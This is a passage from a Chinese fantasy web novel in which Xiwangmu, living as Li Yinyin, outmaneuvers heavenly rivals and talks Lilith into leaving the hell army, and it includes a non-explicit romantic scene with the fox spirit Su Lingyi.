而西王母这里就吃亏了,放眼整个华夏大地,只有燃指供佛、把全部家财捐献给道观……谁会为了西王母而做点什么,全国连王母庙都没几个了。 ——白玉京 自从这里的主人带着重伤回来之后,一向悠闲自在的仙娥们愁眉不展,四十九只大丹炉日夜燃着熊熊烈火。 花园中养着的灵兽瑞鸟,也不再闲逛玩耍,它们向不同的方向散开,寻找被日月精华滋养过的天材地宝,为主人炼药治伤。 其中有许多灵药,并非产自这个世界,而是需要燃烧自己本身灵力,进入其他世界。 其中有几份药材,功效极其强大,在十方世界中,只有几种灵气充沛的境界中有,那些地方的主宰强大而凶悍,就连西王母亲自去,也未必能求得来,对方更不可能主动赠送。 整个白玉京都被问遍了,没有人或灵宠承认这些药材是他们找到的。 如此珍贵的药材,不可能就这么不明不白的用了,不管是有人盗来栽赃,还是真的友善赠送,都得弄清楚才行。 西王母派座下三只青鸟去探查此事,得知这些药是那只曾经在白玉京生活过,后来又叛出的藏狐托人送来的。 不管是仙娥还是灵宠,就连西王母都认为,这是藏狐想要示好的意思。 可是,却只有药回来,藏狐没有回来。 西王母摇头对九尾狐笑道:“他虽是狐族,却并点狐族优点也不曾学到,不知见面三分情,趁着送药的机会来求一求我,我哪能不让他回来。” 九尾狐也十分无奈:“藏狐一族身处高原,天气寒冷,几乎不与外界交流,他不懂世故也在所难免,如果这次他愿意回来,属下愿意教他。” “不用教,这样也很可爱。”西王母并不想要所有人都削平棱角,变得一样圆滑,风情万种很主动固然有意思,这样含羞带怯的小心思,也很有趣。 青鸟奉王母之命找到了藏狐藏身之处时,只见他一身血污,缩在窄小的山洞里,已经气息奄奄,连睁眼的力气都没有了。 藏狐为了得到灵药,不惜闯入另一个境界的主宰秘库,因而受到了很重的攻击,内脏几乎都有破损。 如果青鸟不找到他,他的性命也就在这一两天便要结束。 青鸟将他带回去,他似乎十分抗拒,但又连动动手指的力气都没有,更无法反抗。 当他被带到西王母面前时,他不是像其他灵宠那样向西王母乞怜,希望她能救救他,而是用仅剩的力气,将自己的脸埋在前肢里,不愿让西王母看见他狼狈的模样。 “真傻,为什么不回来找我。”西王母伸手将藏狐抱起来,把整个白玉京中最后一颗有起死回生之力的仙药塞进他的嘴里。 藏狐想吐出来,却被西王母紧紧捏住嘴:“不准吐。” 药丸入喉即化为甘露,强大的药效抚慰着他全身的伤痛,内脏也被修复如初,身上有了点力气,藏狐便要跳下西王母的膝盖,被她一只手牢牢抓住,动弹不得。 “伤刚好就又想离开我?”西王母笑着逗他。 藏狐那张忧郁厌世的脸显得越发委屈:“……不是……我,我不想让你看到我这样。” 他的全身都是伤口,一大片皮肤都被炸得血肉模糊,血污糊满了原本蓬松漂亮的皮毛,白又亮的牙齿也掉得只剩下几颗,两只眼睛全瞎了,只剩下两个血洞。 本来就不好看,现在更是丑得连做菜都算不得是上等食材。 现在虽然被不死药治好,但身上依旧狼狈不堪,原本油亮的毛皮东一块西一块,还有一大块又红又黑的血痂,他自己都嫌弃自己。 原本他只想找个地方静静死去,至少让自己在她心里还是原来的模样。 本以为白玉京里那么多人和灵宠都在外面找药,根本不会有人在意多出来的那一份是从何而来,没想到,西王母不仅发现了,而且竟然派出贴身近侍来找他。 被找到的那一刻,听见青鸟说“奉王母钧旨,带你回去”,他的心里其实是欣喜的,原来她的眼睛也在注视着他。 西王母一直知道藏狐的存在,他一向自惭长得丑陋,哪怕别人说他不丑,他也只当别人是客气。 他很努力上进,希望能够摆脱骨子里的这股自卑感。 西王母很想帮他,所以,让他去引发大洪水,谁知道,他不愿意,不仅不愿意,还跑了,跳槽去帮大禹,介绍狐族涂山氏与大禹结亲。 苏灵衣回到白玉京的第一天晚上,白虎星君来到白玉京,与西王母展开秘密会谈,第二天,苏灵衣就感受到了西王母对自己的态度突然变了,他向九尾狐求教,九尾狐教了他几招讨好的手段,他当晚便悄悄进了西王母寝室,结果直接被赶了出去,连带仙娥挨骂。 苏灵衣觉得昨天的西王母只是当着白玉京那么多人的面说场面话,其实她心里真的是在厌恶自己,便再一次离开白玉京。 离家出走五分钟后,他没出息的又回去了,想再偷偷看一眼西王母。 不曾想,就看到了西王母手里拿着另一个发出璀璨光芒的神格和记忆,往自己的身体放。 苏灵衣想也没想,便撞破窗户,跳进屋中,抢走神格和倒在地上毫无意识的身体,飞快逃走。 被白玉京的守卫追得上天无路,入地无门,他被逼得跳进了雅鲁藏布江,借着水流逃出生天,醒来时,却发现原本好好绑在身上的那具身体和紧紧握在手里的神格都不见了。 他在大地上失魂落魄的找了整整一百年,身体没有找到,神格也没有找到。 苏灵衣彻底绝望了,也因此他才会在救人的时候,果断付出了足以让自己成为太乙散仙的法力。 家里的财宝也不管了,法力不要了,命也不想要了。 只是吃了不死药的苏灵衣,怎么折腾也死不了,还因为他不要命的到处救人、帮助别人,莫名其妙地攒了许多功德,一直活到现在。 拿回记忆的李寅寅,也想起找回苏灵衣当天晚上发生的事。 白虎星君来到白玉京,说西王母以一人之力击退敌军首领米迦勒,大挫敌军锐气,只是对方还没有完全退兵,需要西王母再次领军,带着天庭众将发动总攻,让西方势力彻底放弃。 只是西王母的伤势太重,暂时无法以满状态出现在阵前。 为了让西方天堂势力早日放弃东进的想法,保持华夏在精神和意识上的独立自主。 西王母同意与白虎星君交换神格,由白虎星君用她的身体出现在西方天使大军面前。 没想到,这个在几天前还在与自己并肩作战,同历生死的战友,竟然变了脸,抢先拿走西王母的神格,并没有把自己的交给她。 如果不是西王母神格过于强大,要解决排异性都得处理很久,早在苏灵衣偷进寝室之前,白虎星君就能将西王母的神格和记忆完全据为己有了。 现在天庭还在与西方交战。 只不过交战对象从天使军团,变成了路西法和撒旦的地狱军团。 地狱军团的力量也挺强大,毕竟撒旦教都是正式注册,还有正式地址的合法社团了。 同样除了合法的之外,也有野生的狂信徒。 信仰之力强大,天庭能与之抗衡的其实是人格神,特别是财神,还有文曲星君和文昌帝君。 财神自不必说。 每年期末、中考、高考、考研、考公、考编之前,文曲和文昌两位的香火都快压过玉皇大帝了。 但是,天庭却安排自然神身份的白虎星君先上。 理由就是:“你有西王母的神格,有威慑力。” “其实我知道,他们是想把我的力量也耗尽。换上更听话的人格神。朱雀的事我已经知道了,如果不是有更强大的后台,区区一个鬼金羊,怎么可能瞒过其他朱雀星天的人。 玄武虽然平时不爱动,但是你看那死老头子什么时候站错过队?靖难之役的时候,我还在傻呵呵的冲锋陷阵呢,他就已经傍上紫微星了,硬是把他跟真武大帝扯上了关系,武当山也归了他。” 说起上头的安排,白虎星君是一肚子的牢骚。 青龙会失去力量,卡在轮回井里几百年,也是上头弄的手脚,不需要别的理由,稍微改改流程,青龙星君就在不上不下的地方待着,成功耗到了末法时代出生,要不是自身基因强大,保住天赋不失,现在孟清华就是稍微聪明一点的凡人小屁孩一个。 “朱雀魂散,玄武怂包,青龙无能,他们只要对付我就行了。”白虎痛心疾首。 “咱们得趁着西方地狱魔在这,想办法把帝俊那厮赶走,否则地狱魔一退,我活不好,他们也不会放过你的。” 李寅寅笑笑:“原来如此……我说天庭又不是没人,怎么会拖到现在,还没有把西方这几个杂碎弄走。你这是……养匪自重?” 白虎星耸耸肩:“哎,别说得这么难听嘛,我没有养匪啊,天庭给我的资源有限,西方地狱的资源比我多,帐子里那个女妖,天天往外生几千个孩子,我的兵可没这么多。” 大概西方地狱魔自己都不知道,他们的存在,居然是东方天庭内部博弈的结果。 帝俊想用他们消耗掉自然神的力量。 以白虎星君为代表的自然神想借他们削弱人类对“老天爷”的信仰,然后一波弄走。 白虎星君本以为有了西王母的神格和记忆,就能直接调用古神和昆仑山众仙的力量。 谁知道,世事难料。 最强的那一拨古神,不是像女娲那样消失在茫茫宇宙中,就是早就被西王母给扔到流放之地去了。 次一代的古神,失去了人类信仰的供养,连神格都没了。 再次一代的昆仑山众仙……居然有一套详细而复杂的征调体系。 光凭西王母的身体、神格和记忆是不够的,还得灵魂波长对得上。 前面都能造假,灵魂这个是真没办法。 西王母是天地太阴之气所化,算是无解的防伪标识。 白虎星君只得作罢,另想他法。 如今两人面对面,把话说清楚。 虽然白虎星君拿了李寅寅的神格和记忆不还,确实是个黑历史。 但是,自古以来,成就大事的人,谁还没跟死对头合作过。 没有永远的敌人和朋友,只有永远的利益。 李寅寅平静地亮出自己的实力: “被我关进流放地的古神神格意识,我已经带出来了。我也可以调动昆仑众仙。就看你给我开什么样的条件了。” 先提条件,就是等着被砍价的。 李寅寅决定先看看白虎的诚意。 给原本就是天庭之主的西王母太低的条件,那肯定不行。 白虎也不得不考虑清楚。 李寅寅一笑:“我不着急,想好了再回答。” “好,我一定会给您一个满意的答复。” “我们走。”李寅寅站起身。 孟清华这次是私自带人上天,属于违规行为,他也不能跟着白虎一同回天庭,还得跟着李寅寅。 苏灵衣也跟着起身,却被白虎星君留住了,她看着苏灵衣笑道: “我与这位小狐仙还有一些个人恩情没有了,还请留步。” 李寅寅点点头:“你们先聊。” 便与孟清华并肩走了,一点都不担心白虎是不是想利用苏灵衣做什么。 事实上,白虎也不想做什么,她真的是有一笔账要清。 两人的记忆交换后,长期记忆混乱,短期记忆也混乱,新发生过的事情也记得零零碎碎。 如今记忆回到本体后,白虎星君看着眼前的苏灵衣,许久才吐出一句话:“原来救我的是你……真是……” 与西王母交换记忆后,白虎星君并没有得到地位上的提升,别说干掉紫微垣,甚至还不如青龙稳坐四星宿之首。 帝俊说华夏大地正在被异族入侵,她得把地上的异族处理掉,才能成为四星宿之首。 白虎信了,以人身入轮回,投身革命事业,与异族作战。 重伤不治之时,遇到了生无可恋的苏灵衣,他把所有的法力都用来救活她,然后,飘然远走,连脸长什么样都没让白虎看见。 救下正神是大功德一件,白虎星君必须还了这份人情。 如果苏灵衣只是普通人类,他的愿望,白虎星君都可以实现,让他富贵、让他左拥右拥、让他权倾天下,让他活个八百岁也不是不行,只要他有本事隐藏身份。 可是,他是一个一心想死的妖。 死亡,是他唯一的愿望。 正神报恩手段,当然不可能包括夺取性命。 再加上白虎都记不清苏灵衣长什么样,也不知道他的身份,白虎的偿还计划,就这么卡在死循环里。 白虎星君看着自己欠的功德“滞纳金”越来越高,着急但也没办法。 现在可算是找着了。 白虎星君对苏灵衣说:“如果你现在想要什么,我能做的有限,如果你能帮我夺取紫微垣的位置,我可以给你更多。” 她犹豫了一下,问道:“你现在的愿望,应该不是单纯的想死了吧?” “谢谢,不用了,我的愿望,你实现不了。”苏灵衣扯扯嘴角,露出一个冷淡又不失礼貌的笑容。 “呵,能比当天帝难吗!”白虎星君不服。 当她看见苏灵衣脑中强烈而清晰的愿望时,白虎星君也沉默了:“……不是……你这……” 面对助她顺利渡劫的恩狐,素来心直口快的白虎星君硬生生把“痴人说梦”给咽了回去。 她深吸一口气:“我想想啊……我想想办法……对了,周穆王是怎么个情况,你知道吗?跟我说说,说不定你换成跟他一样的赛道就行了。” “没什么,就是周穆王带了很多兵,帮她把周围总是误闯的小国给清理干净了,她希望周穆王再来,是因为她还想往西扩,从昆仑山,一直扩到现在欧亚大陆的最西端。” 白虎星君松了口气:“幸好周穆王放她鸽子了,不然天使恶魔都不存在,我也没机会升一升。” 转而又用同情的目光看着苏灵衣:“她要的是强者,你要怎么样才能让她满意呢?” 苏灵衣面无表情:“这是你要考虑的事情,要么就继续欠着吧。” 白虎星君愁眉苦脸,正神欠功德欠太久,是会被天道谴责的,她的最后偿还期快到了。 “你先回去吧……我再想想……”白虎星君的脑中已经闪过各种逃避天道谴责的方法,就是没一个好用。 当苏灵衣转身出门的时候,她忽然发现他的后颈上有一道不明显的痕迹,那是司掌男女情爱的西迪临走时留下的印记。 “这下肯定能在最后偿还期之前还清了!手段不重要!”白虎星君心中产生了一个大胆的想法。 第97章 最后的决战,还得动动脑…… 苏灵衣回来后,李寅寅没有问他与白虎星君交谈的内容,只问他要不要先回去,天上神魔飞舞,他一只几乎没有法力的小狐狸,只怕会伤了他。 “让我留下吧,我对西方地狱略有了解,如果能以巧取胜最好。”苏灵衣说得合情合理。 现在就把古神的灵识和昆仑仙叫来,就能轻松打退路西法撒旦联军。 问题就是,然后呢…… 天庭的危机解除,帝俊肯定要卸磨杀驴,他能杀子流妻,还有什么事是干不出来的。 李寅寅也很好奇,地狱那边到底有什么想法,虽然神仙打架不涉及到后勤补给,但是拖这么久,也挺烦的。 本来魔嘛,每天想干嘛就干嘛,逍遥自在。 现在搞得像上班,天天按时按点要出征,还没有任何肉眼可见的好处。 魔之所以称之为魔,往好听了说,叫讲究效率,往难听了说,叫急功近利,哪有这么好的耐心。 还有,“万魔之母”莉莉丝当真就这么认命专心生娃,当一个生产兵员的流水线? 按照苏灵衣看到的资料,说莉莉丝是跟亚当一起被单独创造出来的人类,身强体壮不输亚当,单凭体力跟亚当对打,丝毫不落下风。 她对自己充满自信,不愿意以夫为天,然后就跑路了。 亚当决心要一个听话老实的女人,于是,他的第二任妻子夏娃就是从他身上抽出的肋骨,身弱于他、依附于他。 莉莉丝不愿意臣服于丈夫。 路西法则是自认是上帝之下的第一天使,在“主”之下,万神之上,所以,上帝要他拜亚当,他不愿意,觉得亚当不配。于是,就闹起来了,以傲慢之罪,身下地狱。 至于撒旦,那就是个古蛇,就像事儿逼的极品亲戚和极品邻居,吃饱了撑的没事干,整天作怪搞事,亚当和夏娃两口子在伊甸园过得好好的,衣食无忧,它非得忽悠人家吃智慧果,变聪明了,烦恼就来了,知道得太多了,就被赶出去了。 李寅寅听完他们的故事,顿时懂了:“难怪这两个能合伙打过来,想必他们感情的粘合剂就是一起骂亚当。那撒旦怎么加入这个家的?” “撒旦是莉莉丝的现任。” “哦~”这下就更好理解了。 苏灵衣又说了许多关于天堂、地狱、亚伯拉罕一神教最初的设定。 “本来没有那么多复杂的事,人类为了自己的利益,而对经文中的内容进行不同的解读,就分成了不同的教派,不同的教派又分成了不同的宗门,同一个教派同一个宗门里面,还能再细分。还有能曲解和现编的,比如在真正的口口经里,并没有七十二个处女的事,虽说要杀了异教徒,不过内容是杀了侵略者里的异教徒。只不过没有什么人会仔细看,有人一辈子没吃过猪肉,但也没看过一眼经文,全靠别人说。” 由于神的权柄来自于人类的信仰,只要有人真诚的相信,都能产生力量。 就连知识范围相当广的苏灵衣都只能认输:“现在真正相信初始教旨的人类应该不多了,不知道支持联军的主流信仰是什么,如果无法与他们直接沟通,就只能破坏他们的主流信仰,进行釜底抽薪了。” “我先去找莉莉丝谈谈,也许能聊得来。”李寅寅起身向外走去。 “我也……”苏灵衣站起来,被李寅寅阻止,“我去人家产房,你跟着算什么,你要是闲着无聊,就找别的事做,要是能直接把帝俊弄走就更好了。” 后面这句当然是开玩笑,九尾天狐都弄不走帝俊,苏灵衣怎么有这本事。 地狱大军已经在这里驻扎了一百多年,不管战事再怎么激烈,只要他们退到这里,天庭的大军就不会追过来,他们在这里生活得特别踏实,完全没有觉得自己是侵略者,要随时小心,防备有人偷袭。 习惯性思维,让李寅寅的潜入异常顺利,她以虎齿豹尾的形象出现,就这么大大方方地往莉莉丝的帐篷走去,高阶魔族都不住在这里,守在这附近伺候莉莉丝的使魔,都刚出生没多久,别说见过西王母原形,就连高阶魔族,他们都认不全。 李寅寅不用开口,全身上下那种睥睨天下,唯我独尊的气势,要不是形象不对,说她就是路西法,也没什么毛病。 小使魔们根本就不敢问李寅寅是谁,来这干嘛,就这么看着她昂首挺胸的进了帐篷。 帐篷不大,莉莉丝双腿大敞,躺在床上,小使魔一出生,哼唧两声,就爬起来自己走了,速度比动物还要快。 莉莉丝的身体看起来还行,就是情绪不太好,她双眼无神地看着帐篷顶,那双挺大挺漂亮的眼睛,看起来就像机器设备上的两个指示灯,麻木冷漠,没有一点自己的情绪。 在苏灵衣的描述中,莉莉丝应该是一个鲜活明艳的人,生死看淡,不服就干,跟亚当过不下去了,跳起来就是互殴,神明拉偏架,她转头就走,根本不在乎自己得罪了谁。 怎么着也不能是现在这副样子。 “你是谁?”莉莉丝眼神迷茫,与天庭交战一百多年,她的任务就是在这里生孩子,完全没有见过李寅寅。 “不必紧张,我不是来找你打仗的,我是掌管生育的神。”出门在外,身份都是自己给的。 李寅寅尽量露出温柔慈爱的模样:“无论是谁,在华夏土地上产子,都与我有关。方才我预感到你将有大难,很快,你就要生到你命中子嗣的最高数量了,如果再继续生的话,只能在保大和保小中间选一个。” “怎么可能???”莉莉丝愣了一下,她从来没有听过这样的说法,她是上帝创造的第一个女人,就算堕落成魔,也有神性庇护,不死不灭,怎么会因为生孩子把自己给生死? “因为现在你并不在你自己的土地上,否则,以路西法和撒旦的能力,怎么会打了一百多年。” “你从伊甸园跑出来肯定不是为了在这么一个小破地方生生生吧?外面的世界多精彩,你说你要东方天庭有什么用?东方天庭不是你的,也不影响你睡了东方的男人啊,就算你想管东方人的信仰,有路西法和撒旦呢。” 李寅寅悲悯的看着她:“如果日复一日的被束缚在这里,与你当初待在亚当身边有什么区别。高阶魔神只认识撒旦和路西法,你不重要,你生下的小使魔对他们来说只是耗材,更不重要,将来他们攻下天庭,会让与他们并肩在高位吗?” …… 刚开始的时候,莉莉丝自己也以英雄母亲自居,十分骄傲,百年过去了,她也开始怀疑,自己在这里到底是干什么,原来在地狱的时候,还能经常到人间,勾引调戏漂亮男人,想干什么就干什么,看着上帝的造物为自己苦恼,她的心情十分愉悦。 反观现在,她已经一动不动在这里躺了一百多年了,天天就是生生生,每天都有大量使魔死去,她就得天天生,没有一天能自由玩乐。 这实在是有违她当初追求自由的梦想。 李寅寅的话一句句的扎在她的心窝上,原本只是隐约有那么一点意思的不满,现在被李寅寅从心底勾出来。 最后,李寅寅痛惜地看着她,语气温柔而坚定:“你的生活不该是这样,不能再这样下去了!” 李寅寅虽然把白虎的记忆还回去了,但白虎那套“不战而屈人之兵”“杀人诛心”那一套,已经留在了她现在的记忆中,并且熟练运用。 当初路西法敢跟圣子叫板,确实是能力出众,相当优秀,本钱雄厚。 他的一通嘴炮,把正忙着睡男人的莉莉丝召唤来了战场,一百多年过去了,当年画的大饼一个没成,日子还越过越没盼头,每天听到的消息都是“局势大好”“优势在我”,却一步都没有推进,反而要她生的使魔越来越多了。 路西法说的“清冷仙尊”“热情猴王”“傲娇三只眼”“粉嫩的未成年”“温润纯善的男版维纳斯”……统统没有!! 这么多年了,进来的东方生物,只有一匹迷路的天马,还是个母马!现在好不容易又进来一个东方生物,又是个同性! 本来没有人挑明,她还能按着惯性,日复一日的过日子,被李寅寅这么一说,越想越觉得这日子没法过了! “你好好想想吧,在我的卦象中显示,你只能再生二十个了,再多……”李寅寅意味深长地看着她,摇摇头,转身走出大帐。 莉莉丝不知道什么是卦象,但是去掉那句话,也不影响理解,就是再生二十个,她就要死。 李寅寅回去的时候,发现苏灵衣不见了,没人知道他去了哪里。 过了许久才回来,李寅寅问了一句,他说从来没有上过天庭,四处逛逛。 一听就不是真话,不过既然他不想说,李寅寅也不想追问。 等苏灵衣走后,孟清华背着手,像个小老头似的溜达出来:“你就这么信任他?” “没事别学玄武走路,年纪轻轻的。”李寅寅靠在身后的石头上,双手枕在脑后:“没什么好问的,他背叛我也捞不着什么好处,帝俊最讲出身和血统,他所在的天庭,细数下来全是亲戚。 再说,有妲己的前车之鉴在前,那么多潜伏者的结局在后。 一只有风险,没有好处,二没有强烈的信仰支撑,他背叛我做什么。” 孟清华扯扯嘴角:“你对他真放心。” “没有什么不放心的理由,我又没有不给他肉吃。” 李寅寅说的是春秋时的旧事,主帅没给自己车夫分羊肉吃,第二天,车夫就把主帅送到敌军的军营里去了,还留下一个成语“各自为政”。 “你真的给他肉吃了?”孟清华原本清澈的眼神,多了一丝狡黠。 李寅寅飞快地反思了一下:“怎么没有!” 孟清华背着手溜达出去,临走还扔下一句话:“可是,我怎么觉得他欲求不满呐?” “小屁孩,知道什么叫欲求不满。”李寅寅嫌弃道。 转念一想,苏灵衣跟着过来也有一段时间了,确实没有吃过东西,众所周知,嘴馋和肚饥是两件事。 凡人除非特别忙,否则,总有嘴里淡淡的不适感,苏灵衣虽然是妖,但在人间生活这么久了,说不定也有凡人的习惯。 算算时间,正是蟠桃正熟的时节,李寅寅对蟠桃园那是熟得不得了,没有惊动任何神仙,她就已经潜入蟠桃园,摸了几个熟透的大桃出来。 “醒着吗?”李寅寅站在苏灵衣的帐门口,声音不大不小。 苏灵衣挑起帘子,看见是李寅寅,以为有大事发生,当即拿起自己随身的长剑,准备随她杀出去。 “放下放下,没事,我想着你很久没有吃过东西了,弄点蟠桃给你尝尝。”李寅寅从随身袋中取出三只大桃,堆在苏灵衣的手上。 “这是!传说中了能长生不老的蟠桃?” “算是吧。”李寅寅给他摘的是紫纹缃核仙桃,九千年一熟,属于顶级优果,人吃了都能与天地齐寿,日月同庚。 寻常神仙都没有机会吃,连看一眼的福气都没有。 某只猴就是因为这,气得大闹天宫。 苏灵衣心中激动,连着手都在抖:“这是我独有,还是其他人都有了?” “快吃你的吧,苏黛玉!蟠桃会二十八宿都有份参加,又不是没吃过,你替他们操什么心。” 蟠桃香甜软滑,灵气更是能滋养内丹,根本不存在饱腹的问题,但苏灵衣只吃了一个,想将另外两个收起来。 “耶?肚子这么小,就吃不下了?以前小区里十块钱三斤的桃子,你都能自己吃掉一大半呢。” “这么贵重的东西,省着点吃。” “省什么呀,这桃是天地灵气蕴育而成,吃到肚子里才能滋养,放在外面,明天就变成一团气飞走了,我拿三个来是怕你吃了还想吃,多备着一点,不是让你糟蹋东西的。你要是不吃,我拿去给青龙了。” 说着,李寅寅就要拿起剩下的两个桃,被苏灵衣抢过来:“不行,送给我了就是送给我了,哪有送出去的东西还收回去的!” 难得见他这么急赤白脸的着急,李寅寅笑道:“那你快吃呀,放坏了我会伤心的。” 苏灵衣左手一晃,右手一晃,两个桃子瞬间下肚。 李寅寅:“……你跟天蓬元帅指定有点关系,这姿势,跟他吃人参果似的。” 话音未落,就看见苏灵衣的脸慢慢发红,越来越红。 “不是吧,吃个桃还吃害羞了?”李寅寅十分困惑。 苏灵衣却好像整个人都晕乎乎的,身子都软了,站也站不稳,眼底像汪着水,眉头微蹙。 看这样子不是害羞,倒像是食物过敏,或者食物中毒。 ……不是,天上的蟠桃也能是过敏源吗? 李寅寅转身想出去找青龙过来看看,被拉住胳膊,苏灵衣乞求道:“别……别去……” “怎么回事?”李寅寅伸手抚上他的额头,那一小片皮肤散发出惊人的热量。 再看苏灵衣身体其他部分的状态,李寅寅眉头皱紧:“你被白虎下药了?” 总不能是蟠桃带来的效果,不然蟠桃会岂不是成了impart? “不是……是西迪……”苏灵衣不住地喘气,用力拉开自己的领口,在后颈上,有一小块不起眼的纹身,看起来只有半块。 “不知道什么时候被他纹上的……与喜欢的人在一起时间稍微久一点,就会……就会变成这样……”简单的几句话,苏灵衣分成好几段才勉强说完。 他尴尬地弯下腰,遮掩着自己无法控制的冲动。 “你喜欢的人……是白虎啊?”李寅寅抓抓头,心里莫名期待他的否认。 苏灵衣欲哭无泪:“怎么会是她,是你啊,我一直喜欢你,你一点都没有感觉到吗?” “如果不是喜欢,我为什么要一直待在宠物店里,如果不是喜欢,冯墨为什么会看我不顺眼……连乐乐都看出来了,为什么你全然不知?” 说到最后,苏灵衣的声音都在颤抖,他艰难地躺倒在简单的床铺上,闭上眼睛,侧着身子,蜷缩在一起。 李寅寅伸手将他翻过身来:“要我帮你吗?” “不要!”苏灵衣倔强地绷着下巴,“你根本就不喜欢我。” “谁说的,你离开之后,我伤心了很久呢。”李寅寅搂住他,苏灵衣想挣扎,哪里挣扎得动,被牢牢扣在她的怀里。 “引发大洪水,是当时这个境界几大神族的共同决议,只有那片土地上最受神明信任的眷属,才有资格去做。我事先没有问过你,是看见你每天那么努力,所以希望能够帮你更进一步,没想到啊,你就这么一声不吭地跑了,连一个招呼也不打,我还以为你是跟哪个小狐狸精跑了呢。” 李寅寅的手指抚摸着苏灵衣滚烫的皮肤,忽轻忽重,苏灵衣额上汗珠大滴大滴的顺着皮肤滑落,嘴里连一个成调的字都吐不出来。 “路西法来袭的时候,我以为你会回来帮我,可是,你没有回来,我重伤的时候,也想到了你,可是,你也没有回来。那段时间,昆仑山封山闭门,我担心你想回来却找不到入口,遣了青鸟每日在外寻找你的踪迹,可是你无影无踪。直到天使军再次出现,天庭请我再战,我想,也许你已经飞升成仙,在天庭可以找到你,所以,我才接受邀请。” “真的?”苏灵衣努力挤出两个字。 李寅寅伸手在他挺翘的鼻子上刮了一下:“骗你是小狗。” 苏灵衣伸出手抱住她,用鼻子尖点了点她的鼻子尖,这是他敢对她做的最放肆的事。 “大胆一点,你又不是小孩子了!”李寅寅微笑看着他,鼓励他,苏灵衣先是试探着用嘴唇碰了碰她的嘴唇,柔软的嘴唇一碰即开,热情地向他发出邀请,苏灵衣的大脑仿佛被烈火烧灼,接下来的一切,仅凭本能,理智已经完全从识海里消失了。 …… 第二天,路西法与撒旦联军再次向天庭军挑衅。 西王母率众天兵天将出征。 除了一些使魔掉入流放之地外,无事发生。 第三天,第四天……皆是如此。 第五天,路西法终于发现一件可怕的事情,以前使魔不管消失多少,很快都能得到补充,怎么现在使魔军团的数量不足过去一半? 为地狱大军提供不限量的使魔,是撒旦与路西法合作的基本前提。 撒旦大步踏进帐篷,想要质问生育机器怎么停产了,却惊愕地发现,他老婆跑了! 产房里只有几只一脸懵的小使魔。 他们连灵智都不全,自降生起,撒旦就没有来看过他们,他们也不认识这个血缘上的父亲。 问他们什么,他们哭着说妈妈被东方的神仙抓走了。 把撒旦气得够呛,直骂莉莉丝这个废物,被抓走都不知道反抗,一定是看上了来抓她的男仙,借机会私奔! “喏,我说什么来着。”在不远的云端,李寅寅和莉莉丝藏在厚厚的云中,地狱联军看不到她们,她们却能清楚地听到和看到他们。 本来莉莉丝一直认为,自己对联军有大功,就算那些使魔只是填线宝宝,也拖延了战局。 路西法和撒旦应该对自己抱有崇高的敬意。 李寅寅找她说了半天,虽然说中了她的心思,但她依旧对撒旦还有那么一丝丝的幻想,没想到,自己被抓走这么大的事,撒旦不仅不着急,不想着营救她,反而骂她私奔了。 幻想终于彻底破灭,对她如此态度,就算地狱联军真的打胜,她也不会分到任何好处,只能做为撒旦之妻,与有荣焉罢了。 “呵……你说得没错,做黑暗之王的女人,不如自己做黑暗之王。”莉莉丝冷笑一声,李寅寅微笑着送莉莉丝回家:“祝你抢班夺权成功!” 莉莉丝展开翅膀向西飞去:“再见了,东方神,有空来我这里做客,我拿最好的男人招待你。” “好……”李寅寅刚应了一声,忽然胳膊上微微一痛。 苏灵衣打着“保护”的旗号,死活要跟着她一起来,以小狐狸的姿态藏在李寅寅的袖子里。 结果莉莉丝没企图暴起打伤李寅寅,反倒是在他心上扎了一刀,最可气的是,李寅寅居然说好。 这是什么行为! 始乱终弃! 不负责! 渣女! 李寅寅把手伸到袖子里,将一只气鼓鼓的小狐狸掏出来,岂止是气鼓鼓,那双黑溜溜的眼睛水汪汪的,气哭了。 “随便答应一声而已,别那么小气嘛!那就是表示我听到了,不是我真的想去约炮。”李寅寅好言好语地哄着,苏灵衣那张厌世藏狐脸上写着:“我不信!” “白玉京里那么多灵宠,能进我寝室的只有你一个,你还有什么不满足!” “哼!”吃醋归吃醋,正经事还是要干的,这几天,苏灵衣一直在坚持传谣。 不停的向天庭军宣传:地狱联军无比强大,前面打了一百多年,只是想要耗光天庭的力量,马上他们就要发起总攻啦,马上就要打进灵霄宝殿啦! 西王母愿意留下为大家断后,但是众神得把神格交出来,否则,地狱军队闻着味儿就追杀过去了,她也拦不住。 使魔数量锐减,使得原本抱着打消耗战想法的路西法决定拼死一搏。 成败就在这一战。 成了,天庭登基。 败了,滚回地狱。 他真的点起所有的高阶魔神,准备发动总攻。 帝俊手下众神在上班打卡似的悠闲战争中渡过了漫长时光,根本就不知道应该怎么应付烈度更高的战争,被苏灵衣的谣言攻势一忽悠,再加上对面摆出了大干一场的架势,便立马信了。 反正如今的神格,也不属于他们,是他们从玉皇大帝张百忍的手下那里抢来的。 大不了回到原本的位置,又不是没有退路,何必在此玩命,闹得天人陨落,没必要,没必要。 五万头猪,抓三天也抓不完。 但是五万个兵败如山倒的溃兵,三天就能轻松搞定。 心散了,队伍就不好带了。 帝俊手下众神纷纷将从张百忍手中夺来的神格,交给西王母,希望她能多撑一会儿,为他们赢得逃跑时间。 不过几个刹那,神格就都交到了李寅寅的手中。 李寅寅找出青龙神格,交给孟清华:“等有空了,告诉我你这神格是怎么丢的,一定很有趣。” 孟清华铁青着脸,哼了一声。 又捡出一半白虎神格,交给监兵神君:“居然没有人用过,是被扣做抵押物了吧?” 监兵神君讪讪地点点头,心想高冷端庄从不说废话的西王母到人间待了几年,怎么说话这么欠欠的。 朱雀灵魂不全,现在还未入轮回,没办法,只能先交给炎帝代为掌管,李寅寅将玄武神格抛下界,希望它能自己找到主人。 张百忍手下众神的神格甫一归位,便迎来了路西法大军的第一次攻击。 这一批来的不是刚出生凑数的小使魔,个个都是有破国之内的顶尖高手。 撒旦是领头的,所罗王第一柱魔神巴尔紧随其后,高阶魔神所过之处,乌云滚滚,臭气冲天,刺鼻的硫磺味仿佛要将天宫的白云也给熏黄了。 张百忍希望李寅寅能帮忙,转头一看,李寅寅和她的小白脸都不见了。 —— 就连张百忍都不知道,在太上老君的兜率宫之上的秘密空间之内,还有一座女娲留下的巨大宫殿。 宫殿像一座小岛,浮在虚空之中,挂在宫殿顶端的巨大银月是唯一的光源。 地面由满是华彩花纹的石头铺就,李寅寅与苏灵衣顺着甬道往里走,面前又是一扇巨大的石门。 石门上画着象征着女娲的图腾。 李寅寅将手按在石门上。 粗糙厚实的石门瞬间光华流动,缓缓打开。 在宽大的殿堂内,整列着数十座雕像,每一尊雕像的身材比例完全符合黄金比例,有男有女,有男女同体,也有既不男也不女…… 不管是哪一种,在雕像之内,都蕴含着丰沛的灵力。 “这是……” 